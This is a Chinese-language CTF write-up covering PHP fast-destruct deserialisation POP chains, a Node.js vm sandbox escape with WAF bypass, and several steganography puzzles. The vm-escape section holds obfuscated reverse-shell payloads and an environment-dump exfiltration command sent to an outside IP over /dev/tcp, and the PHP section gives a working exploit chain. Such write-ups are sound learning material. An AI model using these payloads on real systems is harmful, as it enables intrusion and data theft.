Web

ezpop - solved

知识点:php fast destruct 反序列化

image-20230603164801366.png
image-20230603164833157.png
源码:

<?php
highlight_file(__FILE__);

class night
{
public $night;

public function __destruct(){
echo $this->night . '哒咩哟';
}
}

class day
{
public $day;

public function __toString(){
echo $this->day->go();
}

public function __call($a, $b){
echo $this->day->getFlag();
}
}


class light
{
public $light;

public function __invoke(){
echo $this->light->d();
}
}

class dark
{
public $dark;

public function go(){
($this->dark)();
}

public function getFlag(){
include(hacked($this->dark));
}
}

function hacked($s) {
if(substr($s, 0,1) == '/'){
die('呆jio步');
}
$s = preg_replace('/\.\.*/', '.', $s);
$s = urldecode($s);
$s = htmlentities($s, ENT_QUOTES, 'UTF-8');
return strip_tags($s);
}

$un = unserialize($_POST['‮⁦快给我传参⁩⁦pop']); //
throw new Exception('seino');

注意有unicode字符,复制到vscode就看得出来:

image-20230603164954463.png
image-20230603165149883.png

fast destruct,一眼顶针。参考链接:https://www.wangan.com/p/7fy7f46cd2c8727f

说来也巧,第一次碰到这种题目也是在这个平台,当时还是烨师傅(好像是他出的?)用来拷打新生的,我就被狠狠地拷打了。

做这题本地调试版本一定要和题目对应,7和8的得到的结果完全不同。这里收录了php的所有windows版本:https://windows.php.net/downloads/releases/archives/。

fast destruct原理:

1、如果单独执行unserialize函数进行常规的反序列化,那么被反序列化后的整个对象的生命周期就仅限于这个函数执行的生命周期,当这个函数执行完毕,这个类就没了,在有析构函数的情况下就会执行它。

2、如果反序列化函数序列化出来的对象被赋给了程序中的变量,那么被反序列化的对象其生命周期就会变长,由于它一直都存在于这个变量当中,当这个对象被销毁,才会执行其析构函数。

本质上,fast destruct 是因为 unserialize 过程中扫描器发现序列化字符串格式有误导致的提前异常退出,为了销毁之前建立的对象内存空间,会立刻调用对象的__destruct(), 提前触发反序列化链条。

因为手动抛异常时,强制退出程序,不会回收对象,即不会执行对象的__destruct。且题目序列化出来的对象被赋给了程序中的变量,该对象不会立刻销毁,所以我们要在抛异常之前销毁对象。

以下是几个可以触发实现了fast destruct 的例子(php7):

<?php

class night{
public $name = '123';
public function __destruct(){
echo "\n================__destruct================\n";
}

}
//将该对象放进数组,手动修改数组元素个数为2。扫描器扫描完该对象并创建该对象后,在准备扫描下一个元素时出错,因为下一个元素已经没有了,立刻销毁之前创建好的对象。下面的都是相同的道理。
//$s = unserialize('a:2:{i:0;O:5:"night":2:{s:4:"name";s:3:"123";}}');

$s = unserialize('O:5:"night":2:{s:4:"name";s:3:"123";}');//改night后面的数字:只要不是1都可

// $s = unserialize('O:5:"night":2:{s:4:"name";s:3:"123";}ads');//在最后加字符串,可
throw new Exception("nonono");

所以题目的exp:

$night = new night();
$day = new day();
$dark = new dark();
$light = new light();
$day2 = new day();

$night->night = $day;
$night->night->day = $dark;
$night->night->day->dark = $light;


$night->night->day->dark->light = $day2;
$night->night->day->dark->light->day = new dark();
$night->night->day->dark->light->day->dark = "%2fflag";

$array = array($night);
echo serialize($array); //得到的字符串数组元素个数改为2

发包:

image-20230603170910214.png
image-20230603170924534.png

unserialize - solved

第一次见,还好出的不难,搜一下php如何修改对象私有属性就可以了。

image-20230603171304306.png
unserialze函数不给用

image-20230603171412070.png

ReflectionClass也不可以,然后发现ReflectionObject可以。

exp:

image-20230603171602760.png
image-20230603171655191.png

ezrce - unsolved

无参rce这个知识点,忘记了……

参考链接:https://www.cnblogs.com/pursue-security/p/15406272.html

当时只做到这一步,就一直卡了。

image-20230608140705502.png
赛后复现:

image-20230608141400850.png

test - unsolved

比赛时没仔细看F12,以为是什么难题,就不看了。赛后看了一眼wp,说F12里有东西,接着不看wp,自己往下做,做出来了。


藏在这里,当时只重点关注有没有绿色的注释了……

image-20230608145359991.png
image-20230608145506032.png
image-20230608145538557.png
经过不断测试,发现profile后面加自己注册过的用户名才会返回结果,否则返回null。猜测那32位的是md5,什么的md5?那肯定是密码的md5。

试试admin账号:

image-20230608145722199.png
拿去解一下:

image-20230608145813243.png
登录:

image-20230608145843029.png
目的很明显了,传个反弹shell过去:

image-20230608150018739.png

Esc4pe_T0_Mong0 - unsolved

知识点:nodejs vm逃逸,利用js语法绕过waf,mongodb基本命令。

赛后复现。记录了自己思考的过程,还有payload的迭代,所以会显得很啰嗦。把不同版本的写法都放在一起才知道哪些细节的妙处在哪。

(下面exp的ip是内网穿透的ip,不是我自己的,不怕放出来hhhhh)


源码:

image-20230609100016616.png
目标:绕过waf,实现反弹shell,再进入mongodb找flag。

自己一开始写的,没注意到换行符给ban:

cmd = 'bash -c "env>/dev/tcp/61.139.65.134/36264"'
s = ''
d = {}
for i in "return process.mainModule.require('child_process').exec('%s')"%cmd:
s+=str(ord(i))
s+=','
s = s[:-1]

code = 'var a\nwith(String)a=fromCharCode('+s+')\nwith(this)with(constructor)(constructor(a))()'

当时难想到怎样把fromCharCode传给constructor,所以用了换行符。

自己后面再测了下,可以这样写,可弹计算器:

code = "with(String)with(this)with(constructor)(constructor(fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,40,39,99,97,108,99,39,41)))()"

wp的写法是将fromCharCode用变量表示,还用到逗号表达式,太妙了。

cmd = 'bash -c "bash -i &>/dev/tcp/61.139.65.134/36264 0>&1"'
s = ''
d = {}
for i in "return process.mainModule.require('child_process').exec('%s')"%cmd:
s+=str(ord(i))
s+=','
s = s[:-1]

code = 'with(String)with(f=fromCharCode,this)with(constructor)constructor(f('+s+'))()'
print(code)
print(len(code))

上面没了过滤字符,但是太长了,457。想了一会,return...exec那里要拆开写,不能全转ascii。

下面再改,改了code的写法,同时将一些ascii用变量表示。

def str2ascii(string):
ret = ''
for i in string:
ret += str(ord(i))
ret += ','
ret = ret[:-1]
return ret

def get_often_ascii(all):
result = {}
for i in all.split(','):
if i in result:
result[i] += 1
else:
result[i] = 1
final = []
for key in result:
if result[key] >= 4:
final.append(key)
return final

def replace_code(code,final):
index = 97
pair = ''
for fina in final:
#f变量已经用了,表示fromCharCode
if index != 102:
code = code.replace(fina, chr(index))
pair += f'{chr(index)}={fina},'
index += 1

print(pair)
code = code.replace('XXXXX', pair)
return code


if __name__ == '__main__':
process_ascii = str2ascii("return process")
child_ascii = str2ascii("child_process")
cmd = str2ascii("bash -c \"bash -i &>/dev/tcp/61.139.65.134/36264 0>&1\"")

# XXXXX是用来给声明变量占位的
code = 'with(String)with(XXXXXf=fromCharCode,this)with(constructor)with(constructor(f('+process_ascii+'))())with(mainModule)with(require(f('+child_ascii+')))exec(f('+cmd+'))'

all = process_ascii+','+child_ascii+','+cmd

#获取最常出现的ascii码,3位的ascii码出现4次,用变量代替才有意义。2位的ascii码至少要出现5次。当时忽略了2位ascii码
final = get_often_ascii(all)

#将ascii换成变量,将XXXXX换成变量声明
code = replace_code(code,final)
print(code)
print(len(code))

长度381,还差一点。

看看到这里code长啥样:

with(String)with(a=114,b=101,c=32,d=99,e=115,g=54,h=49,f=fromCharCode,this)with(constructor)with(constructor(f(a,b,116,117,a,110,c,112,a,111,d,b,e,e))())with(mainModule)with(require(f(d,104,105,108,100,95,112,a,111,d,b,e,e)))exec(f(98,97,e,104,c,45,d,c,34,98,97,e,104,c,45,105,c,38,62,47,100,b,118,47,116,d,112,47,g,h,46,h,51,57,46,g,53,46,h,51,52,47,51,g,50,g,52,c,48,62,38,h,34))

最后的改进:将声明变量省略,直接在第一次使用该变量的位置声明。赋值语句返回值是值。

最终payload,长度363:

with(String)with(f=fromCharCode,this)with(constructor)with(constructor(f(a=114,b=101,116,117,a,110,c=32,i=112,a,111,d=99,b,e=115,e))())with(mainModule)with(require(f(d,j=104,105,108,100,95,i,a,111,d,b,e,e)))exec(f(98,97,e,j,c,45,d,c,34,98,97,e,j,c,45,105,c,38,62,47,100,b,118,47,116,d,i,47,g=54,h=49,46,h,51,57,46,g,53,46,h,51,52,47,51,g,50,g,52,c,48,62,38,h,34))

image-20230609095231803.png

Misc

管道 - solved

zsteg 管道.png --all

image-20230603171953967.png

可是雪啊飘进双眼 - solved

给了一个flag.zip,有密码;一个音频hint.wav,一个文本snow.txt。

hint.wav里有摩斯电码,解出来是WOAISHANXI。

文本文件打开,全选,发现空白字符。

image-20230603172300130.png
说实话没接触过,无从下手,有\t有空格,尝试从二进制角度解,未果。吃个饭回来看了一会,突然意识到自己好蠢啊,就硬看,不会搜吗?

image-20230603172458324.png
得到一个工具,文档:

image-20230603172634202.png
跑工具:

image-20230603172722025.png
解压缩包,得到两个图片,hide.jpg和key.jpg。

key.jpg:

image-20230603172855995.png
有点大,8.26M,binwalk跑一下:binwalk -e key.jpg --run-as=root,得到另一张图片:

image-20230603173056904.png
密码:BC1PVEYD

jpg图片,而且还要密码,用steghide跑:

image-20230603173348448.png

你是不是很疑惑呢 - unsolved

官方wp:

image-20230609125736933.png
貌似跟zip rar有关系。我用的360压缩的解压,下载的附件是个zip,直接解压也能看见时间信息:

image-20230609125956946.png
image-20230609125902148.png
读取时间信息。

image-20230609130034180.png
注意,将图片文件送到项目里的时候不要复制,会修改图片的创建时间。当时第一次用的是复制,异或不出来,吃饭时候想可能是复制的问题,回来一看确实是。

复制后的图片信息:

image-20230609130233103.png

Findme -unsolved

image-20230609154102449.png
左上角Edit,导出这个chunk,然后删去,保存。

image-20230609154243162.png
导出的chunk开头4个字节是IDAT头,删去,只保留data部分。

用VeraCrypt打开。(key.png是删掉那个chunk后的图片)

image-20230609154517975.png
打开成功:

image-20230609154744838.png
image-20230609154810446.png
image-20230609154904688.png